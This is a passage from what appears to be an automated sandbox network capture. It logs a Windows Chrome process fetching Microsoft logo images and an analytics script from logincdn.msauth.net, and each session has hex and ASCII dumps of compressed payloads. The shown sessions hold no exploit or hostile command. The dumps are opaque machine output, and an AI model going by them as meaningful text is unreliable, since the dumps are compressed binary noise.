2024-08-29 22:19:32 UTC	16384	IN	Data Raw: 26 fd 7e ed 02 ef a3 44 33 4c e6 e3 e6 1e a6 bb 19 79 ed 4d a7 f6 1b d6 5d ed 15 33 f9 e6 6f e9 8c a9 eb 75 5b da 84 75 58 a3 3c 4b e4 23 8b 0e 27 e5 1c d3 18 c0 eb e8 59 2b 47 d0 fb 1b 03 c6 d8 14 96 c5 7c f1 5b 17 63 5f b9 f3 05 ef bc 16 a2 fd 9d 2f 58 e4 69 ef a2 3e 92 95 bb 51 fd be 19 7c 65 0f 53 79 6d a9 42 e8 48 72 7a 74 dd 93 be 47 4a cc a3 df 21 96 14 d4 5f c5 fa e3 20 02 98 ee 88 5e 19 cf 2e 74 a8 cf 2c f8 8c 6e 34 b7 95 28 cb 56 42 87 a2 11 d9 38 58 85 ae 98 2f b3 3e 83 e2 81 f4 cc 65 5d 1c 26 65 15 ea 87 b7 dc 77 43 18 d6 9c a9 89 3f 71 ae 48 66 86 43 ef 46 96 08 2e 5b 04 1a f1 c4 1a d5 a6 2c 69 d9 b3 d3 e2 a5 ee 90 0f 67 64 09 e4 ca d8 dc 48 14 ca ed 40 08 3d a7 3c 71 59 7d ee 20 32 e3 db be 12 ac 1a 06 2b 93 00 da 03 2b 4e a4 59 d8 42 8d e5 Data Ascii: &~D3LyM]3ou[uX<K#'Y+G\|[c_/Xi>Q\|eSymBHrztGJ!_ ^.t,n4(VB8X/>e]&ewC?qHfCF.[,igdH@=<qY} 2++NYB
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: 50 fe 0e b7 46 37 3f 85 9b cb 4f 9e 6c 75 90 18 d3 25 76 3b 9e 87 ac 06 24 e8 bc ca b8 5e 50 7d 48 01 cb ab 44 4e 63 00 06 da 1d ca 8e 0f c6 af b1 1f 4d f8 e0 45 ae 0e 08 e0 32 15 60 80 4c 84 d8 d6 ef 29 b8 84 31 3b d0 40 4b 70 61 65 ef 7a 75 f6 a0 3a d9 53 98 a4 e3 52 dc 39 54 38 85 a3 8c ce c3 0d e6 86 ce b2 ad 62 72 40 4b 34 52 7b 4c 0c 8d 5e b7 8c ee bd 81 fb 55 40 62 2f 57 57 a8 d6 9f 89 ba 75 63 79 a3 a0 20 07 72 78 df 25 17 cf eb e9 a6 ed 9f 08 e0 d3 5d aa e9 99 cf bb 05 4a 06 ef 91 7e 31 18 76 ed 04 24 23 80 be 1a 59 d6 53 dc 44 de 3f 98 73 59 a7 d7 a6 2d 02 58 c2 c4 e0 3a 8e 7d 06 6b a3 9e 7b a3 c0 37 ee 9f 16 b2 33 39 3b a5 c5 1c e1 c7 55 6a 95 ee c0 5f c4 69 52 b3 db d7 a6 69 e2 b2 8f 7a 37 a8 b3 d0 e9 bb 13 f7 a6 eb b4 4a 27 7e 88 f7 99 7f 80 Data Ascii: PF7?Olu%v;$^P}HDNcME2`L)1;@Kpaezu:SR9T8br@K4R{L^U@b/WWucy rx%]J~1v$#YSD?sY-X:}k{739;Uj_iRiz7J'~
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: 73 be 55 b4 fa 56 9a b0 8b c2 3a d0 94 b5 1d 98 a9 38 64 80 b8 ef 08 60 6f 04 0c 6b 34 fd 68 6b fa 1d fe 29 01 66 fe 9e 7f 3c 05 c9 5d df 57 ae 94 71 4b c8 29 43 14 be 1b db 2f dc 66 74 f4 59 39 5e 9e 90 09 d7 21 0a 55 85 25 dd 62 43 be cd 7a cc ee 02 d2 09 a2 ea 3e e6 1d d2 c9 3c 9f 3d 99 1c 66 47 93 e5 54 12 c4 98 de 52 e8 34 db 95 19 98 e1 0b b5 7d 20 49 5c a7 78 c6 94 09 45 db 21 cd da 0e eb 11 6c cc 5c 95 4d 35 3e 67 2c 66 38 7b b4 07 83 22 20 71 86 84 51 8e f2 83 f8 72 47 fe f2 3e 57 03 af 14 f7 23 99 34 c7 dc 33 18 93 05 26 2c dc b7 73 16 21 83 4d 1e bb 1a b9 86 bb eb 1f 72 f6 80 51 a6 5f 33 c4 f1 b4 5e e0 02 68 69 0f 56 1b ab 7c 40 f5 b5 b2 ec 34 19 d4 de 52 ea 1d 2c d8 57 86 83 fd 05 ac 8d 08 74 db f9 60 ac b7 4e 0e 06 9a af c4 b9 e7 df b7 7d e8 Data Ascii: sUV:8d`ok4hk)f<]WqK)C/ftY9^!U%bCz><=fGTR4} I\xE!l\M5>g,f8{" qQrG>W#43&,s!MrQ_3^hiV\|@4R,Wt`N}
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: 20 fc 31 a5 b7 f6 20 c0 6a 83 49 18 ad 06 b3 2c a1 0f 17 b3 e2 8c 95 5d 6c d3 ca 7b d0 c7 8a 79 af 14 92 39 73 c0 4c 14 65 eb e2 a1 5b e7 2e a2 39 50 99 63 7a b8 6e a8 29 ea 4b 28 48 8d e3 f9 e3 5c 3c dd 2c 81 95 37 d1 a5 7d 63 f8 b7 4c 6e e5 9a 9e 3f 04 95 a9 f1 98 98 cf 6e 6d 1b 40 19 7c e6 5b 5c 0d 14 2b 50 bd bf 57 9a ea 37 f9 37 ae 5f 1d ac f6 50 9a c1 7c 70 69 ba b6 86 59 dd 3b 18 64 57 3d fd 8d b8 e7 b9 05 71 2c ff 0b 51 20 73 f0 df bf 6f 0e fe fa db 70 f0 df 77 e2 e0 bf 5d 32 07 ff fd 8a 38 f8 6f 57 c0 c1 ff e0 db 43 1c c9 af 19 61 cb c3 9b 36 8f 30 e9 70 ce 65 a6 39 71 ee fe 65 87 ee fc 68 1d 16 19 ff 69 3e 9e d9 c9 f0 53 97 b6 ab 17 8e d6 c8 84 eb 59 ad a7 e2 0a 25 b3 d4 9b c8 ce 5d df b9 69 15 15 57 18 02 62 93 c2 b2 17 36 ed 8d b8 ac 68 9c b0 Data Ascii: 1 jI,]l{y9sLe[.9Pczn)K(H\<,7}cLn?nm@\|[\+PW77_P\|piY;dW=q,Q sopw]28oWCa60pe9qehi>SY%]iWb6h
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: 18 04 c7 8b 83 82 7d 38 d8 81 c1 30 89 3c 41 72 96 f6 f1 9c d0 4f 51 b7 d0 ca 16 65 49 45 2b 10 28 98 02 a1 c2 78 89 91 84 8c 80 2e 56 9c f6 2d d4 9d d2 87 2f a8 fc 15 05 61 19 98 2c 5b 19 b3 50 76 1d 4d b8 91 25 b5 95 a5 68 5c d3 ae e0 86 fb fe fe 4e 5c 5c 37 ae ae 27 ca 45 29 d1 1d 9b 9f d7 8b d3 d4 45 26 59 9d 12 a1 29 83 fb 47 6a e7 f4 0b 81 fd 55 36 27 76 81 0a 84 13 f8 0b d4 49 23 7a 34 30 67 5b 94 a7 a1 3d ba 68 e6 95 b2 10 c8 0a 87 c1 08 ba a1 da 10 85 5d 80 d9 ad c1 1c e6 18 86 f0 d7 98 a8 ef f0 84 11 69 af c2 36 40 33 66 6c 7c 44 1b 1f 61 e3 a3 6b 45 db c0 b9 68 16 d8 db 94 cc db 81 c6 bc 01 6f c2 1b 14 93 0d 78 b6 36 00 96 12 e7 17 01 fa 58 38 e9 00 7a fd 8a 86 f8 c3 ab 18 35 fd e2 6b 9b ab c3 ce b9 66 f5 a9 87 59 c4 c8 ad 92 a6 3d cc 2a 46 bf Data Ascii: }80<ArOQeIE+(x.V-/a,[PvM%h\N\\7'E)E&Y)GjU6'vI#z40g[=h]i6@3fl\|DakEhox6X8z5kfY=*F
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: d0 48 31 6a e1 5d 11 bb 90 5b 21 3e 9a bd 8e 6f 01 fb d0 b3 80 31 dd e3 da e5 05 e2 e5 de 6f 92 d4 bb 0f 50 0e 5f ba 49 e0 1d b9 b7 c1 08 f5 8c 60 b0 87 3e 86 5b 90 cd d9 68 ef 39 70 28 64 f9 18 46 1d b6 a6 6e 36 a6 8a 33 f8 48 7d 37 19 8c 61 bc 92 57 a9 7f 81 0a c6 68 ed 3c 75 e0 37 0c 30 05 02 e4 b5 f5 36 60 e9 15 a0 22 57 a0 f7 97 70 81 ad 07 d9 16 50 28 bc 25 7b c6 b0 23 1b a5 f7 56 aa 0d 03 70 19 10 31 a6 a5 28 ad 04 61 30 b1 c8 01 fc 94 bb 80 aa f2 7c 17 42 27 32 ad f9 80 0a 8b 2d 4d 9d 3b f4 98 3f 73 ba f8 67 5a 5e 94 fc f9 ad c6 17 57 b0 be ba f0 83 6e 8c c9 d5 e1 96 85 5e 02 30 04 67 96 c5 11 70 7a 8d 46 fd 3a f5 c3 a1 50 cd ae 42 bf ad 2d 7a 27 cb dc 1f fd 7b 54 31 71 c3 4c fc 1a 64 49 28 7e a6 e3 60 88 c9 a8 d3 df 24 46 24 69 02 c3 23 a7 2a 3c Data Ascii: H1j][!>o1oP_I`>[h9p(dFn63H}7aWh<u706`"WpP(%{#Vp1(a0\|B'2-M;?sgZ^Wn^0gpzF:PB-z'{T1qLdI(~`$F$i#*<
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: 7b a7 d1 09 3f 14 30 fb 13 f4 7f a4 1d 8e 33 51 42 0d 0d cf 29 8e 0d 96 59 82 19 b9 cf 13 7c ad a5 de 2b b5 e6 30 b6 bb 29 29 90 a8 f9 4b 58 24 4f d7 28 8e 47 a1 bf 7c 28 df 53 fe fb 0d a4 54 67 a3 61 40 4b b3 fe 8a 61 04 d9 cb 59 ff 3d 87 51 ac b3 c9 30 10 dc 42 7e 4e c2 e4 18 ec 14 ae 7b 0d 8f 17 ec 35 50 45 e2 0c 6a c0 ae ce e8 0b af cd a4 0f a4 35 9d bb bc 3e dd 9f 80 0f f1 5e 55 e1 94 ef 91 3c 8b 82 c0 ae d0 6b f9 61 35 50 cf 44 75 11 4c 96 e7 b3 00 da 2f 73 2a 99 d5 6e fd 24 18 be 0f 28 a0 c6 cf 81 a9 18 24 ee 30 bb f0 27 71 86 12 40 f8 ce 68 ab 00 ac 77 85 ef 57 e8 ca bd f1 a9 6d d7 43 a5 34 7c 79 06 aa 09 2a 13 d8 46 ef c7 7c 42 1c 05 26 81 1f 79 a9 8e 15 2b 03 d0 91 2b a7 e0 61 48 91 72 a1 64 d7 5f 11 cb 9f fb d7 56 0e cc 3d 4f 35 26 16 55 b1 24 Data Ascii: {?03QB)Y\|+0))KX$O(G\|(STga@KaY=Q0B~N{5PEj5>^U<ka5PDuL/sn$($0'q@hwWmC4\|yF\|B&y++aHrd_V=O5&U$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49780	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:32 UTC	633	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:32 UTC	800	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:32 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 27 Jun 2023 15:44:25 GMT ETag: 0x8DB772562988611 x-ms-request-id: da7ef925-b01e-001c-2907-fa9136000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221932Z-16579567576w5bqfyu10zdac7g000000026000000000qasx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:32 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49779	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:32 UTC	620	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:32 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:32 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 27 Jun 2023 15:44:22 GMT ETag: 0x8DB7725611C3E0C x-ms-request-id: ad3701b2-301e-0073-6702-faa468000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221932Z-16579567576c4hpgz3uh2pbn5g00000002e000000000g4re x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:32 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49778	13.107.246.60	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:32 UTC	606	OUT	GET /shared/5/chunks/oneds-analytics-js_8c01a5c09df43fd8d323.js HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://signup.live.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://signup.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:32 UTC	812	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:32 GMT Content-Type: application/x-javascript Content-Length: 32811 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 09 Aug 2024 21:16:16 GMT ETag: 0x8DCB8B881B52A8D x-ms-request-id: 3833c618-e01e-002d-6c01-f84f88000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221932Z-16579567576j7nvvu5n0ytgs1c00000002sg000000001kaw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:32 UTC	15572	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 dc bd 6b 57 db 48 b3 3f fa fe 7c 0a 5b 67 0e 5b 1a 1a c7 86 24 93 d8 51 bc 12 42 26 e4 06 13 c8 65 86 61 b3 84 dd 06 0d 46 f2 48 32 84 60 7f f7 53 bf ea 8b 5a b2 48 f2 ac ff 3e e7 c5 9e 35 c1 ea 8b 5a dd d5 d5 d5 55 d5 55 d5 f7 7e 6d b7 5e a6 59 6b 1a 8f 64 92 cb 56 9c 4c d2 ec 32 2a e2 34 69 cd a6 32 a2 ac 5c ca 56 9a c8 71 be 11 25 d1 f4 a6 88 47 f9 c6 3f f9 c9 a3 51 b7 17 3d 18 75 1f 8f 27 f7 b7 26 e3 47 e3 ad cd ad ce 3f 79 e7 ed ee f6 ce fb 83 9d 4e f1 b5 68 fd 7a ef ff f2 e6 68 a2 c8 e2 51 e1 0d fc 5c 4e 27 9d 6b 79 3a 8b 46 17 db e7 f3 e4 e2 e4 32 8f c7 32 29 e2 e2 e6 24 8f f3 39 a5 a3 f0 a7 6a 2d 16 47 c7 41 67 36 cf cf fd a3 a3 fb bf f5 8e c5 6d 6f 73 f3 b7 47 fd c9 3c 19 a1 ff 7e 22 a4 28 82 db a2 93 f9 32 10 45 67 Data Ascii: kWH?\|[g[$QB&eaFH2`SZH>5ZUU~m^YkdVL2*4i2\Vq%G?Q=u'&G?yNhzhQ\N'ky:F22)$9j-GAg6mosG<~"(2Eg
2024-08-29 22:19:32 UTC	16384	IN	Data Raw: cf ff a0 97 d4 c3 ff 5f fb 97 38 c7 e0 1a bc c6 7d 7c b5 77 72 dd d3 bd 33 7d 33 7b d2 f0 af f8 08 27 9e c7 f6 a1 8f bf 95 e6 a9 63 ae bb 8a 8d 23 42 03 78 ba d1 1b d2 6f df c9 3d d1 b9 27 9e 3a 29 60 36 23 0d 6b 5c 14 6d 03 e9 6c 3e 25 02 be 37 83 d9 2d 11 cd 83 9b 9c e4 87 dd 64 92 1a 38 f3 86 57 84 26 9c 3e 73 a0 36 2a 0a 4c dd 9c 84 e7 c1 fc b4 cc 41 c0 d2 4a 15 95 a1 ae cf c8 0c f7 e3 f6 aa 7a a9 9a 4c dd 4b d5 cc 2c c2 19 95 27 ad c3 0c ac 02 34 25 6c a8 8d a2 93 aa bb 9b 3b 79 79 35 89 06 0d e5 55 ea b9 33 9a 55 79 2d 12 23 95 ab 71 4a 72 de 15 62 ed a5 b4 e9 a6 10 8e 13 de ea d5 2f 9a 4f 55 8c 92 b8 43 b8 55 e0 0e 4d 8e 1b ab de 76 32 49 62 8c 88 30 da ab e9 9c fb e8 ca b3 7b 75 5a 4d fc 90 b2 ac 4d 7f cc 9d 74 ef e0 4c b4 0d 5d c7 5c 4f af 4f 71 Data Ascii: _8}\|wr3}3{'c#Bxo=':)`6#k\ml>%7-d8W&>s6*LAJzLK,'4%l;yy5U3Uy-#qJrb/OUCUMv2Ib0{uZMMtL]\OOq
2024-08-29 22:19:32 UTC	855	IN	Data Raw: a1 00 34 b8 17 af d3 b1 2e a6 35 fe 2a df b3 9b e8 24 4d 77 d3 e4 4a 76 f8 a6 d0 09 3d 82 36 07 40 c4 5e 1e 85 09 c2 7b be 29 51 5e f1 01 6b cf 55 6d 0c 88 6d a5 49 af aa 3b 83 02 35 da 35 fd d2 55 df 5c 26 38 98 04 e2 b2 e8 04 50 f6 01 2c a1 5c 6d ea 3b c5 95 df e2 7c 04 b4 35 27 15 5a 6d 39 fb 6e e5 10 56 53 5b 2d ee d0 86 d6 98 e0 b5 63 78 83 0d 68 69 4e b3 b1 99 8d 0d 4b 9c f3 8b 46 42 72 d5 3a 30 f0 75 d0 4c 21 a1 55 5a 9f 9d a1 19 67 cd 3a ad 9c 93 e4 b5 75 83 1c 10 ef 06 47 92 af 7d 0d af 14 7e dd 49 2e d3 83 e4 94 7e c5 30 0e 2d 09 27 d8 35 c7 46 be a6 b5 b0 7d 34 ac 3a 5a 86 e3 24 9e 4c e0 de 0e b2 78 02 84 48 38 c4 a9 cc 32 40 a0 f6 5c e7 45 44 e8 56 5a 7c 35 22 e1 68 23 46 af 6b be 7c 7e c3 b7 ba 6f b1 cf 32 05 52 f6 1b cd 02 f6 c0 3a 6e 10 f5 Data Ascii: 4.5*$MwJv=6@^{)Q^kUmmI;55U\&8P,\m;\|5'Zm9nVS[-cxhiNKFBr:0uL!UZg:uG}~I.~0-'5F}4:Z$LxH82@\EDVZ\|5"h#Fk\|~o2R:n

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49786	13.107.246.73	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:33 UTC	398	OUT	GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:33 UTC	800	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:33 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 27 Jun 2023 15:44:25 GMT ETag: 0x8DB772562988611 x-ms-request-id: da7ef925-b01e-001c-2907-fa9136000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221933Z-16579567576c4hpgz3uh2pbn5g00000002k0000000002h1s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:33 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49788	13.107.246.73	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:33 UTC	385	OUT	GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:33 UTC	799	IN	HTTP/1.1 200 OK Date: Thu, 29 Aug 2024 22:19:33 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 27 Jun 2023 15:44:22 GMT ETag: 0x8DB7725611C3E0C x-ms-request-id: ad3701b2-301e-0073-6702-faa468000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240829T221933Z-165795675766wv96mecap1swx400000002f000000000qtv7 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-08-29 22:19:33 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
